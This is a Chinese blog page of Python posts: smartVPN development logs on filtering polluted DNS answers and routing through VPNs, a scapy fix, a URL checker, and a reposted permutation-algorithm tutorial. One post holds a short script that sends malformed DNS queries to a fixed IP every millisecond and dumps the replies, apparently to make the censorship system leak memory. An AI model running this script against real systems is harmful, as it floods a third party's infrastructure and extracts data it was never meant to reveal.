Showing posts with label Python. Show all posts
Showing posts with label Python. Show all posts

Nov 19, 2010

smartVPN项目开发记录 (四)

仔细想了一下,比起把虚假地址指向黑洞外,先将需要代理的地址放入代理更加重要。所以先不考虑黑洞路由的功能了。

原来的代码换成了多线程去处理后,也老崩溃。自己不懂太多的编程,不过我认为用socket中提供的ThreadingUDPServer比自己去实现肯定要好得多。更改了基本所有代码后,崩溃的情况明显减少。

代码逻辑部分也调整了一下,原来对于需要代理的域名,也要做本地请求,然后从中剔除污染的地址。如果所有本地返回的结果都是污染过的,那就返回远程服务器的结果。不过后来自己想完全没这必要,对于需要代理的域名,直接使用远程服务器的结果,不需要的使用本地服务器结果。返回的远程结果提取出记录,由另外的线程处理。这样对效率是由提升的(至少我直觉如此)

而针对可能有很多人使用免费限流的VPN时,可能会同时拥有多个VPN情况(我就是如此),加入了支持多个VPN的功能。比如有A,B,C三个VPN,那么第一条路由指向A,第二条指向B,第三条指向C,第四条指向A……这样可以相对比较均匀的使用多个VPN的流量。

Nov 17, 2010

smartVPN项目开发记录 (三)

……嗯,这下搞笑了。

windows居然不支持黑洞路由!google后发现只能在同网络中找一个未使用的地址作为下一条来完成这个功能,但我觉得这个只能人为指定,程序是无法准确判断的。所以……真是杯具啊

不过去往制定目的地使用VPN的功能倒是完成了。改用线程方式后稳定性提高了很多,但是不是还是出错,烦啊。

smartVPN项目开发记录 (二)

昨天基本搞了一天,有点小结果:
1. 已经能够对域名的返回结果进行判断
2. 使用nslookup来测试已经成功能过滤掉GFW污染的结构
3. 优先返回本地ISP返回的解析结果

不过测试下来,又发现了如下一些问题:
1. nslookup测试基本无问题,不过实际使用过程中发现经常失去响应,必须重启程序
2. 经常无缘无故的就挂了……

还有一些设想的功能没有实现:
1. 根据结果增加路由
2. 判断哪些域名需要使用VPN

对软件开发完全就是一头雾水……试试能不能采用多线程的方式来解决一些问题。至于原因嘛,我也不是很清楚啊……囧

Nov 16, 2010

smartVPN项目开发记录 (一)

昨天想了想是否能结合autoproxy来动态加入路由(帖子在这里),想到有个scapy这个非常不错的库,便想自己尝试一下。

不过在scapy尝试收发DNS包的时候,发现返回的包在DNS部分显示为Raw load


后来调试了好久,发现是pton_ntop.py文件中有问题。查看第63行,居然……错误这么明显,于是自己把它改过来:

60 def inet_ntop(af, addr):
61     """Convert an IP address from binary form into text represenation"""
62     if af == socket.AF_INET:
63         #fix by Ken Mercus Lai
63         #return inet_ntoa(addr)
63         return socket.inet_ntoa(addr)
改动之后再次运行,这下结果正常了:

Oct 21, 2010

让GFW溢出的Python代码

import socket
import binascii
import time
import threading
class DataReceiver:
    def __init__(self, s):
        self.s = s
    def __call__(self):
        while True:
            r = s.recvfrom(65535)[0]
            i = 0
            while i < len(r):
                print '%04x:' % i,
                p = list(r[i : i + 16])
                for j in range(0, len(p)):
                    print binascii.b2a_hex(p[j]),
                    if p[j] < ' ' or p[j] > '~':
                        p[j] = '.'
                print ' ' * ((15 - j) * 3),
                print "".join(p)
                i += 16
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
threading.Thread(target = DataReceiver(s)).start()
while True:
    s.sendto("\1\1\6wux.ru\377", ("98.137.149.56", 53))
    time.sleep(0.001)

May 18, 2007

检查 URL 是否有效

#---------- check_url.py ----------#
from httplib import HTTP
from urlparse import urlparse

def checkURL(url):
p
= urlparse(url)
h
= HTTP(p[1])
h.putrequest(
'HEAD', p[2])
h.endheaders()
return h.getreply()

if __name__ == '__main__':
for url in ('http://msnbc.com/nonsense','http://msnbc.com/',
'http://w3c.org/','http://w3c.org/nonsense',
'http://w3c.org/Consortium/','http://ibm.com/',
'http://ibm.com/nonsense'):
print url, checkURL(url)[:2]

------------------------------------------------------------------------
% python check_url.py
http:
//msnbc.com/nonsense (200, 'OK')
http:
//msnbc.com/ (302, 'Object moved')
http:
//w3c.org/ (301, 'Moved Permanently')
http:
//w3c.org/nonsense (301, 'Moved Permanently')
http:
//w3c.org/Consortium/ (301, 'Moved Permanently')
http:
//ibm.com/ (200, 'OK')
http:
//ibm.com/nonsense (404, 'Not Found')

  虽然还有点小问题,不是100%准确。不过对于大多数情况是没有问题的。

May 4, 2007

[转帖]一切从游戏开始

* 故事虚构, 是从一个真的游戏再综合新闻组的内容而来.

缘起:
  这是一个晴朗的星期六下午, 你悠闲地在网上浏览. 忽然间你看到一个留言板上的小游戏. 它很简单,问题是: 把五个数字 56789, 放到 {{{[][][] * [][], 令结果最大.
  你最先对自己说: "这有什么难, 把最大的放到最大位数那里就行了." 你再心算了一下, 也许不对. 每个结果要看其他位置上放了什么数才行. 你开始觉得有些兴趣了, 反正你正在学一种好玩的编程语言, 何不练习一下呢?
  於是你开出你心爱的 Python, 开始思考: "其实我要的是一个程式, 我给它各种数字的组合, 然后它自动帮我找出最大的一个. 如果我传入 1,1,1,1,1 和 1,1,1,1,2, 它会知道要算 111 * 11 和 111 * 12, 求出较大的是 111 * 12 并输出这个组合以及其乘积. 这个程式并不难嘛."
    # calc.py
def calc(seq):
maximum
= 0
max_item
= []
for i in seq:
product
= (i[0]*100 + i[1]*10 + i[2]) * (i[3]*10 + i[4])
if product > maximum:
maximum
= product
max_item
= i
elif product == maximum:
max_item
+= ','+i
return max_item, maximum

seq
= [ [5,6,7,8,9], [5,6,7,9,8] ]
max_item, maximum
= calc(seq)
print "Maximum at", max_item, ",product", maximum

你试了一下:

$python calc.py
Maximum at [5, 6, 7, 9, 8] ,product 90160

  没问题. 现在你只要给出所有的排列即可. 你打了几行, 觉得 [5,6,8,7,9] 这样打太辛苦了, 而且用 i[0]*100 + i[1]*10 ... 的方法好像太难看了, 因此你有必要做一次修改. 好, 用字串吧. "56789", 这样输入时较方便, 而且 int("567") * int("89") 要好看得多, 也应该快些. 另外你也把程式改得更短, 看起来像是个有经验的人所写.
    # calc.py
def calc(seq, where):
maximum, max_item
= 0, []
for i in seq:
product
= int(i[:where]) * int(i[where:])
if product > maximum:
maximum, max_item
= product, i
elif product == maximum:
max_item
+= ','+ i
print "Maximum at", max_item, ",product", maximum

if __name__ == "__main__":
seq
= [ "56789", "56798" ]
where
= 3
calc(seq,where)

  嗯, 好些了. 那句 if __name__ == "__main__" 是为了将来你把 calc.py 做为模组来用时而设的. 在别的程式中用 import calc 的话那几行就不会运行了.
  现在你可以随自己的意来解更普遍的问题, 比如 123 放在 []*[][], 或是 1234567 放在 [][][][]*[][][] 这样的问法. 现在你开始输入排列了. "56789", "56798", "56879", "56897", .......... 没多久你又觉得自己太愚蠢了, 为什么不叫电脑程式自动产生这些无聊的排列呢? 56789 一共有 5! 也就是 120 种排列方法呢! 如果你想算 123456789 的话, 用手输入可能要用去一生的时间!!
  於是你开始想如何产生排列的算法了. 用循环就可以了, 不过循环会产生重覆的组合, 譬如 555*55. 但我们可以加些条件式进去把重覆项拿走. 於是你有了第一个程式解.
    #permute1.py
def permute(seq):
result
= []
for a in seq:
for b in seq:
for c in seq:
for d in seq:
for e in seq:
if a!=b and a!=c and a!=d and a!=e and \
b
!=c and b!=d and b!=e and \
c
!=d and c!=e and d!=e:
result.append(
''.join([a,b,c,d,e]))
return result

seq
= list("56789")
where
= 3
thelist
= permute(seq)
import calc
calc.calc(thelist,where)

  你小心地记著用 ''.join() 的方法产生字串要比用 a+b+c+d 快, 同时也认为用 import calc 的方式会让你更容易为不同的地方做些速度的微调. 你开始运行程式了:

%python permute1.py
Maxmum at 87596 ,product 84000

  你成功了. 啊哈, 你认为可以贴到留言板上去领赏了. 经过一些考虑后, 你觉得还是要做到更普遍的功能, 就是让用户输入排列多少个数字, 怎样分割. 研究了一下程式, 你觉得用循环好像无法达到要求, 因为你事前并不知道要排多少个数字, 因此你不知道要写多少个循环才够. 面对这种情况, 你好像只能用递归的方法了.
  你知道如何求得, 例如, 5 个数字的排列: 先挑一个数, 有五种选择; 当选定了一个数之后挑第二个数时只剩下四个选择, 依此类推. 因此五个数共有 5*4*3*2*1 共 120 个排列. 当你面对 "56789" 这五个数的排列问题时, 你先挑出一个数, 例如 6, 那剩下的便是一个四个数字的排列问题了. 就是说, 56789 的排列可以简化 (或是简单复杂化:p) 成字头为 5 的所有排列加上字头为 6 的所有排列加字头为 7 的所有排列加字头为 8 的所有排列再加字头为 9 的所有排列. 想通了这点, 你决定用递归函数来写程式, 先依次在 56789 中选出 5, 然后把剩下的 6789 当做是一个新的求四位数排列的问题再次调用函数, 以得到所有以 5 为字头的排列; 再选出 6, 剩下的 5789 调用函数. 而每次求 6789 或是 5789 的排列时再把它简化成另一个求 3 个数字的排列问题, 直到要求的排列只剩下一个数.
  以下就是你的函数, 不过你还不知道它到底是不是正确的, 因为写递归函数很易出错, 因此你要先试一下.
#permute2.py
def permute(seq):
l
= len(seq)
if l == 1:
return [seq]
else:
res
=[]
for i in range(len(seq)):
rest
= seq[:i] + seq[i+1:]
for x in permute(rest):
res.append(seq[i:i
+1] + x)
return res

seq
= list("1234")
thelist
= permute(seq)
thelist
= [ ''.join(x) for x in thelist ]
print thelist

你运行后得到以下的结果:

$ python permute2.py
['1234', '1243', '1324', '1342', '1423', '1432', '2134', '2143', '2314',
'2341', '2413', '2431', '3124', '3142', '3214', '3241', '3412', '3421',
'4123', '4132', '4213', '4231', '4312', '4321']

  看来是正确的. 但有没有办法再快一些呢? 你想了半天, 终於发现其实你不必等到 l = 1 的时候才有所动作, 你可以在 l = 2 的时候就干些事了. 因为你知道 l = 2 的话, 排列一定是 [ [0,1], [1,0] ] 的, 这样你起码可以用些力气帮电脑一把. 当然如果你把 l = 3 的排列也写出来更好, 但写到 l = 4 或以上大可不必了. 这种帮它一下的做法在程式优化中的学名是 unroll, 你隐约记得是学过的. 好, 现在你有另一个程式了.
    #permute3.py
def permute(seq):
l
= len(seq)
if l <= 2:
if l == 2:
return [ seq, [seq[1], seq[0]] ]
else:
return [seq]
else:
res
=[]
for i in range(len(seq)):
rest
= seq[:i] + seq[i+1:]
for x in permute(rest):
res.append(seq[i:i
+1] + x)
return res

seq
= list("12345")
thelist
= permute(seq)
thelist
= [ ''.join(x) for x in thelist ]
print thelist

  现在你可以正式测试了. 你把 permute3.py 改了一下, 以便可以从命令行取得数字以及分割方法. 程式变成下面的样子, 同时你也对 permute2.py 做了相同的修改.
    #permute3.py
def permute(seq):
l
= len(seq)
if l <= 2:
if l == 2:
return [ seq, [seq[1], seq[0]] ]
else:
return [seq]
else:
res
=[]
for i in range(len(seq)):
rest
= seq[:i] + seq[i+1:]
for x in permute(rest):
res.append(seq[i:i
+1] + x)
return res

import sys, calc
seq
= list(sys.argv[1])
where
= int(sys.argv[2])
thelist
= [ ''.join(x) for x in permute(seq) ]
Print
'Got', len(thelist), 'items.'
calc.calc(thelist, where)

你开始试行了. 用 time 方式来看程式到底运行了多长时间吧.

$ time python permute2.py 56789 3
Got 120 items.
Maximum at 87596 ,product 84000

real 0m0.057s
user 0m0.050s
sys 0m0.000s

$ time python permute3.py 56789 3
Got 120 items.
Maximum at 87596 ,product 84000

real 0m0.040s
user 0m0.030s
sys 0m0.010s

  呵, 不错. 修改了的就是快些. 到了这个地步, 你开始觉得好奇了. 像求排列这样一个常见的问题, 不知道别人都是怎样做的呢. 也许应该到网上去找找看, 或者有一两个已经写好的程式片断可以抄的. 你可不想弄错一个原来己经有标准答案的问题. 把 permute2.py 贴上留言板或者会令自己看起来像一个三流的程式设计员, 这可是你最不想见到的. 於是你在网上到处搜寻. 不过似乎都是以递归算法为主的, 直至用了一些时间, 你终於在 ASPN: 的网上程式码收集站上看到了这一个片断:
    # permute4.py
def permute(seq, index):
seqc
= seq[:]
seqn
= [seqc.pop()]
divider
= 2
while seqc:
index, new_index
= divmod(index,divider)
seqn.insert(new_index, seqc.pop())
divider
+= 1
return ''.join(seqn)

  作者声称这个算法的量级是 O(n) 的. 你觉得难以置信, 但不妨一试. 由於你理解到这个函数每次只传回排列中的某一项, 因此你写了个小程式去验算它.
    # test.py
from permute4.py import permute

seq
= list("1234")
for i in range(30):
print permute(seq, i),

试验一下:
$ python test.py
1234 1243 1324 1423 1342 1432 2134 2143 3124 4123 3142 4132 2314
2413 3214 4213 3412 4312 2341 2431 3241 4231 3421 4321 1234 1243
1324 1423 1342 1432

  测试显示这个函数没问题. 但它怎样做到的呢? 你研究了一下, 每个不同的 index 值都传回唯一的排列, 而且大过 n! 的 index 会从头来算起, divider 每次都要增加一, 列表的排法又是按商余数来重整. 唉, 不得要领. 嗨! 管它呢. 反正能用就行了. 於是你修改 permute4.py, 加入一个新的函数求 factorial, 这样就可以调用 permute 得到所有的排列. 并进行计时. 你用了更多的数字, 以便速度的差别更明显些.
    # permute4.py
def permute(seq, index):
seqc
= seq[:]
seqn
= [seqc.pop()]
divider
= 2
while seqc:
index, new_index
= divmod(index,divider)
seqn.insert(new_index, seqc.pop())
divider
+= 1
return ''.join(seqn)

def fact(x):
f
= 1
for i in range(1,x+1):
f
*= i
return f

import sys, calc
seq
= list(sys.argv[1])
where
= int(sys.argv[2])
n
= fact(len(seq))
thelist
= [ permute(seq, i) for i in range(n) ]
print 'Got', len(thelist), 'items.'
calc.calc(thelist, where)


$ time cpython permute3.py 1234567 4
Got 5040 items.
Maximum at 6531742 ,product 4846002

real 0m0.461s
user 0m0.440s
sys 0m0.020s

$ time cpython permute4.py 1234567 4
Got 5040 items.
Maximum at 6531742 ,product 4846002

real 0m0.389s
user 0m0.370s
sys 0m0.010s

  哇! 的确不是盖的. 很好, 而且现在你知道了别人不知的新答案. 就把它贴上去罢. 就在你决定的时候按钮之际, 你到底犹豫了: "我对这个算法不是很了解, 如果别人问起的话怎样回答呢? 这会让我像个东抄西抄的小偷呢! 不, 要不我要明白它的原理, 不然就自己做一个比它更好的." 你觉得壮志无限.
  但是现在已经很晚, 你要去睡了. 无奈你在床上反覆地思考著更好的方法, 你整个晚上都没睡好.
  待续......

第二天:
  你醒来第一件事, 洗脸刷牙. 编程爱好者并不一定和终日蓬头垢面同义. 然后呢, 看看电视报纸, 做些公益活动, 今天是礼拜天嘛. 废话少说, 终於你在电脑前坐下, 登入了你喜爱的 Slackware / RedHat / Redflag / Mandrake / Debian / WindowsXP / Chinese2000 / DOS / Solaris/ AIX / Unicos / OSX [作者按: 请依实际情况增删, 但千万拜托不要把 SCO 也加进来], 这些都是 Python 能够运行的平台。
  你记起你以前学到递归时听过的话: 任何递归/回溯函数都可以还原成非递归形式的. 於是你决定用你自己的方式一试. 你默念著求排列的方法, 5 个数取一个, 剩下 4 个, 再取一个, 剩下 3 个 .... 於是你写出一个新的程式, 和最初的一个很相像:
    # permute5.py
def permute(seq):
result
= []
for i in seq:
seq1
= seq[:]
seq1.remove(i)
for j in seq1:
seq2
= seq1[:]
seq2.remove(j)
for l in seq2:
seq3
= seq2[:]
seq3.remove(l)
for m in seq3:
seq4
= seq3[:]
seq4.remove(m)
result.append(
''.join([i,j,l,m,seq4[0]]))
return result

print permute(list("12345"))

  这个程式依次创建 5, 4, 3, 2, 1 个数的列表, 每个都不包括之前被选的数字, 然后把 5 个数合起来完成一种排列.当然, 你还有空间做 unroll. 但现在问题在於, 你对程式的要求是事先并不知道要求多少个数字的排列, 就是你不知道要写几个 for 才够. 但现在你认为有一个好办法: 既然 Python 是动态的, 它可以执行自己写出来的编码, 为什么不叫它自己帮自己来写这个循环程式以完成工作呢? 你觉得这种让程式来为自己写程式的想法很科幻也很妙, 而且让你记起了以前听到很多资深程式员爱用的 m4 宏语言. 於是你赶紧试了一个. 你认为可以用 counter0, counter1, counter2...来代替 i, j, l, m...的循环子命名法.
    # permute5.py
def genfunc(n):
head
= """
def permute(seq0):
result = []
"""
boiler
= """
for counter%i in seq%i:
seq%i = seq%i[:]
seq%i.remove(counter%i)
"""
for i in range(1,n):
space
= ' '*i
head
= head + boiler.replace('\n','\n'+space)%(i,i-1,i,i-1,i,i)
temp
= ','.join([ 'counter%i'%(x) for x in range(1,n) ] + ["seq%i[0]"%(n-1)])
head
= head + '\n' + space + " result.append(''.join([%s]))"%(temp)
return head + '\n return result\n'

import sys
functext
= genfunc(len(sys.argv[1]))
print functext
exec(functext)
print dir()
thelist
= permute(list(sys.argv[1]))
print 'Got', len(thelist), 'items.'

  运行一下:
sh-2.05b$ python permute5.py 12345 3

def permute(seq0):
result = []
for counter1 in seq0:
seq1 = seq0[:]
seq1.remove(counter1)
for counter2 in seq1:
seq2 = seq1[:]
seq2.remove(counter2)
for counter3 in seq2:
seq3 = seq2[:]
seq3.remove(counter3)
for counter4 in seq3:
seq4 = seq3[:]
seq4.remove(counter4)
result.append(''.join([counter1,counter2,counter3,counter4,seq4[0]]))
return result

['__builtins__', '__doc__', '__name__', 'calc', 'functext', 'genfunc',
'permute', 'sys']
Got 120 items.

  看来格式是弄对了. 现在算算运行时间, 会不会好些呢? 也许会比以前更快, 也许因为要再执行自己产生的程式而更慢, 一切都要看实际的数据才能呢! 你修改了 permute5.py 以便它能标准化地计算时间. 你开始觉得 import calc 实在是挺聪明的设计.
    # permute5.py
def genfunc(n):
head
= """
def permute(seq0):
result = []
"""
boiler
= """
for counter%i in seq%i:
seq%i = seq%i[:]
seq%i.remove(counter%i)
"""
for i in range(1,n):
space
= ' '*i
head
= head + boiler.replace('\n','\n'+space)%(i,i-1,i,i-1,i,i)
temp
= ','.join([ 'counter%i'%(x) for x in range(1,n) ] + ["seq%i[0]"%(n-1)])
head
= head + '\n' + space + " result.append(''.join([%s]))"%(temp)
return head + '\n return result\n'

import sys, calc
functext
= genfunc(len(sys.argv[1]))
#print functext
exec(functext)
thelist
= permute(list(sys.argv[1]))
print 'Got',len(thelist),'items.'
calc.calc(thelist,int(sys.argv[
2]))

  开始计时:
$ time cpython permute5.py 1234567 4
Got 5040 items.
Maximum at 6531742 ,product 4846002

real 0m0.213s
user 0m0.200s
sys 0m0.010s

  啊哈! 那个什么量级 O(n) 的也被你打败!! 你觉得它的量级其实不是 O(n), 那只是对找一整个排列其中一个的时候才有用, 要把整个排列都算出来的话还是要回到 n! 上的.
  你非常自豪. 但这也许是适当的时候提醒自己谦虚的妤处. 既然都到了这个地步了, 何不再走多一步, 翻一下书看看, 也许你找到的方法已经早有别人发现了. 果真是这样的话, 你, 一个无知的白痴, 到处大吹大擂自己的发明是会被笑话的.
  於是你找出了封尘的电脑和数学教科书. 找到了排列组合一章, 开始细读. 终於你找到了这样的一幅图画:
                               [4321]   
[3421]
[321] < [3241]
[21] < [231]... [3214]
[213]...
[1] <
[321]...
[21] < [231]...
[213]...

  书中写到, 要产生一个排列其实可以用这样一个方法: "先选一个数 1, 然后第二个数 2 可以放在 1 的前面或是后面. 而每一个放法都会产生一个 2 位数, 对於每一个这样的两位数, 第三个数 3, 都可以放在它的前面, 中间, 或是最后; 如此产生一个 3 位数; 而每一个 3 位数, 第 4 位数都可以插入到这 3 个数的任何一个空位中, 如此类推. 书中还列出了一个程式范例呢! 并声这个方法要和已知的最快的算排列的方法速度相若.
  你急不可待地开始把书中的描述实现. 用 Python, 你很快又得到了一个全新的程式:
    # permute6.py
def permute(seq):
seqn
= [seq.pop()]
while seq:
newseq
= []
new
= seq.pop()
#print "seq:",seq,'seqn', seqn ,'new', new
for i in range(len(seqn)):
item
= seqn[i]
for j in range(len(item)+1):
newseq.append(
''.join([item[:j],new,item[j:]]))
seqn
= newseq
#print 'newseq',newseq
return seqn

import sys, calc
seq
= list(sys.argv[1])
where
= int(sys.argv[2])
thelist
= permute(seq)
print 'Got', len(thelist), 'items.'
calc.calc(thelist, where)

  测试结果如下:
$ time cpython permute6.py 1234567 4
Got 5040 items.
Maximum at 6531742 ,product 4846002

real 0m0.167s
user 0m0.150s
sys 0m0.020s

  哇塞! 书中自有黄金屋咧! 想不到这个才是最快的算法. 你开始感到要击败这次的对手不是不件容易的事, 而且现在已经很晚了, 你身心也都被疲倦所包围著. 你绝望地看著这个新的程式码和它那美妙的结构, 作出最后的尝试:
  待续...

守夜人:

Got 24 items.
['1234', '2134', '2314', '2341', '1324', '3124', '3214', '3241', '1342',
'3142', '3412', '3421', '1243', '2143', '2413', '2431', '1423', '4123',
'4213', '4231', '1432', '4132', '4312', '4321']

  上面就是 permute7.py 产生的四位数字排列结果, 你细心地反覆观看, 终於看出了一些端倪: 其实所产生的排列是有一种对称性的, 第一个和最后一个是完全次序相反的, 而第二个又和倒数第二个完全相反. 利用这些对称性, 也许你可以把计算时间打个对折哟. 而你研究了一下程式的实现方法后你发现只要改一行! 就可以实现这样的功能: 就是第一行 seqn = [ seq.pop() ] 改成 seqn = [ seq.pop()+seq.pop() ]. 这样你就实现了只产生其中一半的排列, 尔后你只要把这个列表中的元素都掉个就完成了整个排列. 程式如下
# permute7.py
def permute(seq):
seqn
= [ seq.pop()+seq.pop() ]
while seq:
newseq
= []
new
= seq.pop()
#print "seq:",seq,'seqn', seqn ,'new', new
for i in range(len(seqn)):
item
= seqn[i]
for j in range(len(item)+1):
newseq.append(
''.join([item[:j],new,item[j:]]))
seqn
= newseq
#print 'newseq',newseq
return seqn

import sys, calc
seq
= list(sys.argv[1])
where
= int(sys.argv[2])
thelist
= permute(seq)
print 'Got', len(thelist), 'items.'
print thelist
# 这个等一下再探讨
#calc.calc2(thelist, where)

  测试数据表示果然这个改良了的程式要比原来快了刚好一倍. 这次应该足够了. 但是要得到整个排列的话要把这半个列表重抄一次而且每个元素都要反过来: "1234" -> "4321". 但是在 Python 之中的字串并没有反序的函数, 因此你必须先把字串变成列表, 再反过来, 然而 list.reverse() 这个函数偏偏很讨厌的不会传回任何值 (因为它是 in-place 的缘故), 所以你要用 i = list(item); i.reverse; i = ''.join(i); 这个复杂的方法. 你想了想, 这个做法大概会把原来只做一半排列所省下来的时间都浪费掉了. 你思考半天, 终於决定重写 calc.py 部份以便直接利用已知的半个列表.
#!python 
#
calc.py
def calc(seq, where):
maximum, max_item
= 0, []
for i in seq:
product
= int(i[:where]) * int(i[where:])
if product > maximum:
maximum, max_item
= product, i
elif product == maximum:
max_item
+= ','+i
print "Maximum at", max_item, ",product", maximum

def calc2(seq, where):
maximum, max_item
= 0, []
for i in seq:
product
= int(i[:where]) * int(i[where:])
if product > maximum:
maximum, max_item
= product, i
elif product == maximum:
max_item
+= ','+i
rev
= list(i)
rev.reverse()
i
= ''.join(rev)
product
= int(i[:where]) * int(i[where:])
if product > maximum:
maximum, max_item
= product, i
elif product == maximum:
max_item
+= ','+i
print "Maximum at", max_item, ",product", maximum

  当然你保留了以前的函数 calc 而只是新加一个专门给 permute7.py 调用的 calc2 函数. 你试了一下速度, 成功了比 permute6.py 快了一丁点. 虽然只是这一点儿点儿, 你也觉得快活无比. 因为又一次, 你为一个大家都觉得好的方法做出了改良.
  虽然你知道在这个阶段如果你把 calc.py 整合到排列产生器中也许会得更好的提速效果, 但你觉得现在这样已经可以很多人都认同你的能力了. 而且能把一个高效的排列产生器独开来也许是聪明的做法, 因为将来你一定会再用它的. 你看了一下所有的程式, 从 permute1.py 到 permute7.py, 再做了一次速度的检定. 反正是最后一次了, 干脆做个大的吧.
$ time python permute2.py 123456789 5
Got 362880 items.
Maximum at 875319642 ,product 843973902

real 0m46.478s
user 0m46.020s
sys 0m0.430s

$ time python permute3.py 123456789 5
Got 362880 items.
Maximum at 875319642 ,product 843973902

real 0m38.997s
user 0m38.600s
sys 0m0.400s

$ time python permute4.py 123456789 5
Got 362880 items.
Maximum at 875319642 ,product 843973902

real 0m33.845s
user 0m33.460s
sys 0m0.380s

$ time python permute5.py 123456789 5
Got 362880 items.
Maximum at 875319642 ,product 843973902

real 0m10.681s
user 0m10.530s
sys 0m0.150s

$ time python permute6.py 123456789 5
Got 362880 items.
Maximum at 875319642 ,product 843973902

real 0m8.279s
user 0m8.110s
sys 0m0.170s

$ time cpython permute7.py 123456789 5
Got 181440 items.
Maximum at 875319642 ,product 843973902

real 0m7.827s
user 0m7.650s
sys 0m0.180s

  嗯, 很不错. 最快的要比原先快上近七倍呢! 於是你打算明天一有空便把这个最好的公式贴到网上去, 让更多人分享. 你很放心地去睡觉了.
  但是不知为了什么, 你总觉得有些事烦扰著你, 还有什么不妥的地方呢? 你实在想不到了, 迷迷糊糊地抱著迷惑不安的心情入梦.
  终於你忍不住爬了起床, 再一次回到电脑屏幕前. 你想到了一个致命的问题, 对於很大很大的排列, permute7.py 还是会尝试一下子把所有的排列都做出来, 不用多久电脑资源就会被耗光的. 你也许要另想一个方法, 每次只做一个排列. 但你是否可以把所有的排列用 1, 2, 3, 4 的方法数出来呢?
  你看著教科书上的那幅图画, 这样的树状结构应该有办法的, 你对自己说.
  慢慢读著书上的文字. 设想有 n 个数字, 先取第一个数字. 再取第二个数字, 第二个数可以放在第一个数的左或右面, 就是有 0, 1 两个选择. 再取第三个数, 放到前面选好的两个数字中, 可以放在最左, 中间, 最右, 就是有 0, 1, 2 三个选择. 嗯, 很自然吗. 忽然你想到了二进位, 八进位那些数系转换关系. "我可以设计这样一个数, ...xyz, 其中个位数 z 是二进位的, 也就是放第二个数的两个位置; 十位数 y 是三进位的, 化表放第三个数字的三个位子, 然后百位数是四进位, 千位数是五进位的, 依以类推." 没错, 这样设计的话, 如果 0 表示放於最左面的话, 则 "2021" 这个数就代表了排列五个元素 (abcde), 取一个 a, 然后第二个 b 放在 a 的右面成 ab, 取 c 放到最右面成为 abc, 取 d 放到最左面成 dabc; 最后 e 放到中间去成为 daebc. 至於 "2021" 这个特别的设计的数可以用 ..+ x*4 + y*3 + z*2 这样的计算来映对到自然数的数列上去.
  没错了, 如求 4 个数的 4! = 24 个排列, 第 18 个排列可以这样求得, 18 除 2, 余数是 0, 所以第二个数放在第一个数的左面; 然后商 9 再除 3, 余数 0, 所以第三个数於在头两个数的最左; 最后 3 除以 4, 余数是 3, 因此第四个数要放在前三个数的第 4 个空位, 也就是最右面. 利用这个方法, 你就不必先求出整个排列才能开始计算. 尽管这好像牺牲了时间, 但省下了大量的空间. 你完全可以算出 1000 个数的最大排列方法, 纵使那可能要用去几个月的运算. 你更高兴的是用这个方法, 你可以把整个计算拆开成为一个一个的部份: 譬如说求 10! = 3628800 个排列, 你大可以把 1 到 1000000 让一部电脑做, 1000001 到 2000001 让另一部来做 ... 大家的工作并不重覆, 这等於实现并行运算了! 啊哈! 妙极了!
  忽然你灵光一闪, 对了, 这个不正是 permute4.py 的算法吗! 你昨天还久思不得其解呢, 现在你已经完全明白了. 呜, 虽然这么好的算法原来不是你原创的, 但是你仍然异常兴奋. 因为你的思路竟和那些大牛们互相吻合. 你渐渐记起了当你还在玩 DOS 游戏机的年代, 曾有个古怪的人向你吹嘘过某个电脑扑克游戏中用了一个威力很大的洗牌法, 多么的快而且公平, 不必怕黑客们用已知的随机数表来出千. 现在你猜到了, 那个算法很可能就是眼下这一个了. 有 52 张牌, 如果要预先算出 52! 个排列才能洗牌可真要命呢.
  你觉得舒服多了, 你整理了一下程式, 打算把结果告诉大家. 然而刚才的不安感又重新来袭. 你再看了一次最后也应该是最棒的程式, 心中安慰自己道: "千万不要跌进低等程式员的的陷阱, 他们疯也似的不断追求, 郤从来不知道自己的目标, 也不知道什么才是好. 完美的设计不在于你无 法添加新的功能, 完美的设计是再也不能精简现有的功能." 你觉得 permute7.py 已迫近了这一个 极限. 但你内心深处并没有因此而舒坦开来, 一种悬空的感觉自足下升起. 也许是你太累了, 于是 者你决定闭目养神数分钟再开始上网, 可惜你很快地迷迷糊糊地进入了梦境.
  待续...

终篇:
  你做了一个梦, 梦中你看到阿凡提骑著他那出名的毛驴来到你面前并向你提出挑战: "除非你解答了我的难题,不然我的驴子会不停在你耳边嘶叫令你无法睡好! 问题是: 把数字 56789 放到 [][][]*[][] 里得出最大的的乘积...." 你发出会心的微笑, 正想祭出你的 permute7.py 之时忽然想起阿凡提是不可能懂得电脑编程的! 你心中登时凉了一大截: 阿凡提的方法一定不必用电脑算出所有的排列方法, 并很快的得知答案的. 随著一声震天的驴嘶, 你惊醒了, 发现原来你伏在电脑桌上睡去了, 不小心压著了键盘上的方向键而令你的电脑发出了痛苦的 BEEP 声.
  回想梦境, 你打算暂时离开电脑, 回到问题本身上来: 怎样才能"看"出最大的乘积呢 ?
  你拿出纸笔, 开始计算:
  假设五个数为 [a][b][c]*[d][e], 展开的话成为

 a * 100 * d * 10
+ a * 100 * e * 1
+ b * 10 * d * 10
+ b * 10 * e * 1
+ c * 1 * d * 10
+ c * 1 * e * 1

  这个可以写成一个矩阵:

d e
a 1000 100
b 100 10
c 10 1

  你这样想到: 在整个答案中, a 带来的页献是一个百位数加上一个十位数, 而 d 的页献是一个百位数加十位数加个位数, 因此 d 要比 a 更重要. 要取得最大的积则一定要把 56789 中最大的 9 放在 d 的位置, 然后是 a, 如此类推.
  为了方便计算,你干脆用对数来记数 100 = 10e2, 用 2 来代表好了, 因此:

d e
a 3 2
b 2 1
c 1 0

  计算每一行或列的和, 把它称为该数的基值, 我们得到:
a = 5, b = 3, c = 1, d = 6, e = 3.

  咦? b 和 e 的基值是一样的, 怎么办!
  你思考著: "啊哈! 因为我们用了对数, 而 log(1) = 0 因此把 b 和 e 之间的微小分别给忽略了!" 好吧, 试把每个数都加大一个, 得到:

d e
a 4 3
b 3 2
c 2 1

  这样基数变成了: a = 7, b = 5, c = 3, d = 9, e = 6. 这些基数代表了该位置的重要性, 可以按大小分予不同的数字.
  好, 按基数的大小来分配数字你得到了 865 * 97. 一对答案, 哟! 不一样! 正确解是 875 * 96. 哪里不对了呢? 仔细分析下来, 你发现 b 和 e 互换了. 换的原因是这样的:
b 的页献: b * d * 100 + b * e * 10 e 的页献: e * a * 100 + e * b * 10 + e * c
